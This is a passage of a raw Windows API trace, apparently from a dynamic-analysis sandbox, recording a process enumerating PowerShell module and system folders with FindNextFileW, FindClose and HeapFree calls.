ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aed1a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0181.836] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.836] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0181.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.837] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa92aff0a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bb043c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0181.837] FindClose (in: hFindFile=0x4532440 | out: hFindFile=0x4532440) returned 1 [0181.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.837] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8da88b6d, ftLastAccessTime.dwHighDateTime=0x1d3274e, ftLastWriteTime.dwLowDateTime=0x8da88b6d, ftLastWriteTime.dwHighDateTime=0x1d3274e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsApps", cAlternateFileName="WI7DB9~1")) returned 1 [0181.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45336e0 | out: hHeap=0x710000) returned 1 [0181.837] FindNextFileW (in: hFindFile=0x4532500, lpFindFileData=0x2eafa7c | out: lpFindFileData=0x2eafa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0181.837] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.837] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0181.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.838] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502d74d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0181.838] FindClose (in: hFindFile=0x4531980 | out: hFindFile=0x4531980) returned 1 [0181.838] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4520058 | out: hHeap=0x710000) returned 1 [0181.838] FindNextFileW (in: hFindFile=0x4532440, lpFindFileData=0x2eaf800 | out: lpFindFileData=0x2eaf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1f, dwReserved1=0x11d, cFileName="Modules", cAlternateFileName="")) returned 1 [0181.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0181.840] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0181.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0181.840] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0181.840] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0181.840] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0181.840] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0181.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0181.843] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0181.843] FindClose (in: hFindFile=0x45317c0 | out: hFindFile=0x45317c0) returned 1 [0181.843] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0181.843] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0181.844] FindClose (in: hFindFile=0x4531cc0 | out: hFindFile=0x4531cc0) returned 1 [0181.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0181.844] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6b0e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0181.844] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0181.844] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e7ae8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0181.844] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0181.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0181.845] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0181.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0181.845] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e6ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0181.845] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0181.845] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0181.848] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0181.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0181.851] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e907e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0181.851] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0181.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0181.851] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e8b3f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0181.851] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0181.851] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0181.851] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 1 [0181.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0181.852] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50ea096, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a56a3f4, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0181.852] FindClose (in: hFindFile=0x4531dc0 | out: hFindFile=0x4531dc0) returned 1 [0181.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x466ffd0 | out: hHeap=0x710000) returned 1 [0181.852] FindNextFileW (in: hFindFile=0x4531ec0, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e9b5b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0181.852] FindClose (in: hFindFile=0x4531ec0 | out: hFindFile=0x4531ec0) returned 1 [0181.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4609770 | out: hHeap=0x710000) returned 1 [0181.852] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae918 | out: lpFindFileData=0x2eae918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e955d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="2.0.1", cAlternateFileName="20519B~1.1")) returned 0 [0181.852] FindClose (in: hFindFile=0x4531c40 | out: hFindFile=0x4531c40) returned 1 [0181.852] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45f9768 | out: hHeap=0x710000) returned 1 [0181.855] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eaeb94 | out: lpFindFileData=0x2eaeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e804c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 0 [0181.855] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0181.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45e9760 | out: hHeap=0x710000) returned 1 [0181.857] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0 [0181.857] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0181.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0181.857] FindNextFileW (in: hFindFile=0x4531780, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 0 [0181.857] FindClose (in: hFindFile=0x4531780 | out: hFindFile=0x4531780) returned 1 [0181.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0181.857] FindNextFileW (in: hFindFile=0x4531880, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0181.857] FindClose (in: hFindFile=0x4531880 | out: hFindFile=0x4531880) returned 1 [0181.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0181.859] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0182.062] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.068] FindNextFileW (in: hFindFile=0x4531cc0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a56a3f4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5da012f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5da012f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PackageManagement.ArchiverProviders.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0182.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.068] FindNextFileW (in: hFindFile=0x4531b40, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb512ac95, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 0 [0182.068] FindClose (in: hFindFile=0x4531b40 | out: hFindFile=0x4531b40) returned 1 [0182.068] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x462ef90 | out: hHeap=0x710000) returned 1 [0182.068] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eaf584 | out: lpFindFileData=0x2eaf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Pester", cAlternateFileName="")) returned 1 [0182.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.069] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4efce146, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x4efce146, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x4efce146, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2c1e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="build.psake.ps1", cAlternateFileName="")) returned 1 [0182.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.069] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e4b40, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc6d7de, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Examples", cAlternateFileName="")) returned 1 [0182.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.069] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 1 [0182.069] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x464efa0 | out: hHeap=0x710000) returned 1 [0182.069] FindNextFileW (in: hFindFile=0x4531bc0, lpFindFileData=0x2eaee10 | out: lpFindFileData=0x2eaee10*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb51e59c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31fa7f6, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Validator", cAlternateFileName="VALIDA~1")) returned 0 [0182.070] FindClose (in: hFindFile=0x4531bc0 | out: hFindFile=0x4531bc0) returned 1 [0182.070] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x463ef98 | out: hHeap=0x710000) returned 1 [0182.070] FindNextFileW (in: hFindFile=0x45317c0, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xc6d7de, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb524b496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3246caf, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, 